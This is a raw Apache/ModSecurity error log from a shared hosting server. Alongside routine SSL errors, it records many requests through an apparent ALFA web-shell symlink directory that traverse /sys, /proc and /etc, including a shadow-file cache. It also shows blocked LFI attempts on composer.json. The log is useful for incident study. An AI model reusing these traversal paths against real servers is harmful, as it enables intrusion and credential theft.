[Mon Oct 26 12:49:38.366797 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 98.84.200.43:55823] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:49:42.234924 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 44.210.213.220:27324] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:50:04.321882 2026] [authz_core:error] [pid 3064916:tid 3064916] [client 45.198.224.125:49014] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 12:50:06.414810 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 34.196.237.236:1756] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:50:14.402510 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 44.216.172.204:7059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:50:18.427766 2026] [ssl:error] [pid 3064909:tid 3064909] (5)Input/output error: [client 18.211.148.239:60410] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:50:18.571080 2026] [core:error] [pid 3044312:tid 3044312] (13)Permission denied: [client 185.191.171.12:26082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PING/object_size
[Mon Oct 26 12:50:22.555439 2026] [ssl:error] [pid 3064975:tid 3064975] (5)Input/output error: [client 44.206.93.215:12453] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:50:22.555615 2026] [security2:error] [pid 3064975:tid 3064975] [client 44.206.93.215:12453] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0303:00/physical_node/firmware_node/physical_node1/subsystem/drivers/psmouse/serio1/input/input3/event3/power/autosuspend_delay_ms"] [unique_id "at-EzsdX-waAlDqXJHtTJwAAABY"]
[Mon Oct 26 12:50:22.555639 2026] [security2:error] [pid 3064975:tid 3064975] [client 44.206.93.215:12453] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0303:00/physical_node/firmware_node/physical_node1/subsystem/drivers/psmouse/serio1/input/input3/event3/power/autosuspend_delay_ms"] [unique_id "at-EzsdX-waAlDqXJHtTJwAAABY"]
[Mon Oct 26 12:50:30.560489 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 52.45.92.83:51298] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:50:34.606334 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 54.84.169.196:44275] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/uhci_hcd/module/uevent
[Mon Oct 26 12:50:38.600130 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 18.214.251.19:34957] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:50:42.568365 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 184.73.195.18:31004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty1/subsystem/ttyS0/subsystem/ttyS1/iomem_reg_shift
[Mon Oct 26 12:50:50.641988 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 52.23.112.144:47622] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:50:55.311794 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 44.195.50.71:21427] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:50:57.447798 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 85.208.96.200:15022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/aliases
[Mon Oct 26 12:50:58.598337 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.212.131.50:21970] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:51:06.713577 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.147.182.90:59668] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:51:18.679634 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 52.205.113.104:38623] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/cpu1/crash_notes
[Mon Oct 26 12:51:22.703623 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 3.224.205.25:38803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:51:26.713324 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 184.73.195.18:20721] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:51:35.215165 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.2.4.213:56501] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:51:42.870146 2026] [ssl:error] [pid 3065028:tid 3065028] (5)Input/output error: [client 44.195.145.102:29022] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:51:46.862696 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 44.206.93.215:47782] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:51:51.120068 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 98.83.72.38:33134] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:52:03.010311 2026] [ssl:error] [pid 3065028:tid 3065028] (70014)End of file found: [client 18.215.77.19:51933] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:52:11.476036 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 85.208.96.199:13778] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:52:18.996198 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 3.221.50.71:62377] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:52:23.135143 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 52.70.123.241:18200] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:52:27.043724 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.204.253.129:26875] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:52:31.138740 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 54.80.185.200:55225] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:52:35.243497 2026] [ssl:error] [pid 3065028:tid 3065028] (70014)End of file found: [client 3.219.80.71:13255] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:52:47.584201 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 35.169.119.108:6043] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:52:51.235910 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.203.237.170:56282] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:52:59.330843 2026] [ssl:error] [pid 3064919:tid 3064919] (70014)End of file found: [client 52.2.83.227:37695] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:53:03.401420 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 54.83.240.58:14411] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:53:07.604108 2026] [ssl:error] [pid 3065028:tid 3065028] (70014)End of file found: [client 34.231.181.240:51806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:53:11.431400 2026] [core:error] [pid 3064919:tid 3064919] (13)Permission denied: [client 34.205.163.103:4422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:04/physical_node/driver/bind
[Mon Oct 26 12:53:15.643306 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 34.203.111.15:62124] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:53:27.546916 2026] [ssl:error] [pid 3064919:tid 3064919] (70014)End of file found: [client 44.207.69.106:22210] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:53:31.429065 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 54.145.82.217:17762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:53:35.433108 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 54.209.100.30:10003] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:53:39.615393 2026] [ssl:error] [pid 3065806:tid 3065806] (5)Input/output error: [client 50.16.216.166:11108] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:53:44.050971 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 44.212.131.50:21938] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:53:59.631335 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 3.232.102.111:6190] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:54:07.873586 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 100.29.160.53:51634] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:54:11.713219 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 54.91.122.193:50321] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:54:15.884582 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.232.39.98:31253] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:54:18.127965 2026] [core:error] [pid 3064919:tid 3064919] (13)Permission denied: [client 16.216.88.39:8192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/shadow.nouids.cache
[Mon Oct 26 12:54:19.741425 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 3.224.215.150:9704] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:54:24.037290 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 3.89.176.255:30391] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:54:29.408425 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 185.191.171.1:26178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/store_user
[Mon Oct 26 12:54:31.868645 2026] [ssl:error] [pid 3064919:tid 3064919] (70014)End of file found: [client 52.2.58.41:36216] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:54:35.720367 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 3.217.171.106:40276] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:54:40.153523 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.224.215.150:13684] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:54:47.833584 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 50.17.193.48:48476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:55:07.771766 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 44.193.115.232:27299] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:55:13.647174 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 185.191.171.12:58712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/outgoing_mail_hold_users
[Mon Oct 26 12:55:16.571849 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 107.23.62.75:8178] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:55:43.645559 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 100.29.128.75:57308] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:55:47.823236 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 3.209.174.110:8949] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event2/subsystem/input1/device/subsystem/drivers_probe
[Mon Oct 26 12:55:51.929505 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.147.238.89:10828] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:55:55.697865 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 3.222.85.38:3530] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:56:00.161798 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 23.23.99.55:64710] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:56:03.654815 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 44.223.116.149:29510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:56:11.513144 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.207.47.227:33781] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:56:15.677932 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 54.235.191.179:3031] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:56:20.146615 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 44.221.105.234:43183] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:56:24.052739 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 34.231.118.144:5545] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:56:28.002064 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.54.157.23:24637] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:56:30.350550 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 185.191.171.12:58860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_pending_reservation/reclaim_account
[Mon Oct 26 12:56:35.693987 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 35.169.102.85:6301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:56:39.809441 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.224.215.150:60691] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:56:44.971140 2026] [core:error] [pid 3064918:tid 3064918] (13)Permission denied: [client 85.208.96.201:47644] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kcopyd_job/cache_dma
[Mon Oct 26 12:56:47.796422 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 34.239.197.197:47952] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:56:52.029078 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 100.29.160.53:28218] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:56:52.733249 2026] [authz_core:error] [pid 3065028:tid 3065028] [client 217.13.62.63:34416] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Mon Oct 26 12:56:55.917654 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 35.169.119.108:31952] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:56:59.703956 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 18.214.124.6:49397] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:57:07.690623 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.198.33.233:55452] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:57:16.011759 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 98.82.59.253:48190] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:57:19.821785 2026] [ssl:error] [pid 3065028:tid 3065028] (70014)End of file found: [client 34.225.87.80:10082] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:57:23.798752 2026] [core:error] [pid 3062279:tid 3062279] (13)Permission denied: [client 54.92.171.106:15298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input0/event0/subsystem/input3/device/subsystem/devices/serio1/drvctl
[Mon Oct 26 12:57:28.115027 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 3.210.114.189:55714] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:57:35.809007 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 35.169.119.108:28988] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:06/physical_node/subsystem/uevent
[Mon Oct 26 12:57:40.364975 2026] [core:error] [pid 3065028:tid 3065028] (13)Permission denied: [client 54.243.63.52:59388] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:11/subsystem/drivers_probe
[Mon Oct 26 12:57:44.019774 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 3.221.222.168:47992] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:57:47.938128 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 3.220.70.171:46432] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:57:51.810951 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 44.214.19.8:10004] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:57:56.013190 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 44.212.106.171:25772] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:58:03.843537 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 18.211.39.188:32099] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:58:07.802704 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 98.80.130.239:17604] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:58:11.777385 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 54.83.56.1:8879] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:58:15.898753 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 54.88.84.219:3416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:58:27.888149 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 44.197.76.210:21458] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:58:32.224935 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 18.232.11.247:27535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:58:48.188870 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 44.205.180.155:14464] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:58:51.781013 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 18.232.11.247:41796] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:58:59.798140 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 3.89.176.255:17575] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:59:00.152752 2026] [core:error] [pid 3060603:tid 3060603] (13)Permission denied: [client 185.191.171.2:43772] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nfnetlink/sections/__ksymtab_gpl
[Mon Oct 26 12:59:03.724129 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 44.214.19.8:14544] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/device:01/PNP0700:00/physical_node/firmware_node/subsystem/drivers/button/uevent
[Mon Oct 26 12:59:07.969140 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 44.217.177.142:8683] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:59:12.097146 2026] [ssl:error] [pid 3060603:tid 3060603] (70014)End of file found: [client 18.208.11.93:39240] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:59:19.884946 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 34.197.28.78:65483] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:59:23.935572 2026] [ssl:error] [pid 3065028:tid 3065028] (70014)End of file found: [client 3.224.215.150:9967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:59:39.953161 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 3.220.148.166:37027] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/subsystem/drivers/ohci-pci/new_id
[Mon Oct 26 12:59:43.299483 2026] [security2:error] [pid 3062279:tid 3062279] [client 54.37.84.47:56700] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /alfa_data/alfasymlink/root/var/softaculous/laravel/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/laravel/composer.json"] [unique_id "at-G_5Wj_yOTriNwmYs-gQAAAAI"]
[Mon Oct 26 12:59:43.299809 2026] [security2:error] [pid 3062279:tid 3062279] [client 54.37.84.47:56700] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/laravel/composer.json"] [unique_id "at-G_5Wj_yOTriNwmYs-gQAAAAI"]
[Mon Oct 26 12:59:43.340080 2026] [security2:error] [pid 3062279:tid 3062279] [client 54.37.84.47:56700] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at-G_5Wj_yOTriNwmYs-gQAAAAI"]
[Mon Oct 26 12:59:47.760593 2026] [ssl:error] [pid 3060603:tid 3060603] (70014)End of file found: [client 54.87.62.248:35314] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:59:56.021344 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 3.94.156.104:59603] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:04.170089 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 98.83.177.42:48364] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:06.152810 2026] [security2:error] [pid 3062279:tid 3062279] [client 54.37.84.47:56700] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /alfa_data/alfasymlink/root/var/softaculous/laravel8/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/laravel8/composer.json"] [unique_id "at-HFpWj_yOTriNwmYs-kAAAAAI"]
[Mon Oct 26 13:00:06.153069 2026] [security2:error] [pid 3062279:tid 3062279] [client 54.37.84.47:56700] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/laravel8/composer.json"] [unique_id "at-HFpWj_yOTriNwmYs-kAAAAAI"]
[Mon Oct 26 13:00:06.153909 2026] [security2:error] [pid 3062279:tid 3062279] [client 54.37.84.47:56700] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at-HFpWj_yOTriNwmYs-kAAAAAI"]
[Mon Oct 26 13:00:07.844403 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 54.225.181.161:51025] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:11.844706 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 184.72.84.154:48919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:20.108997 2026] [ssl:error] [pid 3060603:tid 3060603] (70014)End of file found: [client 52.200.251.20:7209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:23.889313 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 52.45.15.233:56949] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:27.890214 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.221.227.90:12791] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:32.045389 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 18.215.24.66:28932] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:32.498840 2026] [ssl:error] [pid 3064919:tid 3064919] (70014)End of file found: [client 185.191.171.9:33540] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:36.119579 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 44.206.93.215:58176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:39.810684 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 52.70.123.241:22781] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:40.980115 2026] [core:error] [pid 3064919:tid 3064919] (13)Permission denied: [client 85.208.96.202:12510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/slabs_cpu_partial
[Mon Oct 26 13:00:47.933952 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.213.213.161:53237] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:00:51.219435 2026] [security2:error] [pid 3039832:tid 3039832] [client 107.172.76.131:55497] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-HN-CMgRXzP74NO6wN_AAAAAU"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 13:00:51.219496 2026] [security2:error] [pid 3039832:tid 3039832] [client 107.172.76.131:55497] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-HN-CMgRXzP74NO6wN_AAAAAU"], referer: https://bases1.sherwinpinturas.com/beta.php
